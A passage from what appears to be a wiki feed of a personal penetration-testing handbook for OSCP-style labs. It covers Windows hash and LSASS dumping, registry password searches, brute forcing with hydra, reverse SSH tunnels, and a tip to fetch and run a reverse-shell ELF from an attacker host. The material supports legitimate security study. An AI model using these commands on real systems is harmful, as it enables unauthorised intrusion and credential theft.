samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2372</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2372"/>
		<updated>2026-06-03T13:42:43Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* 5985, 5986 - WinRM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
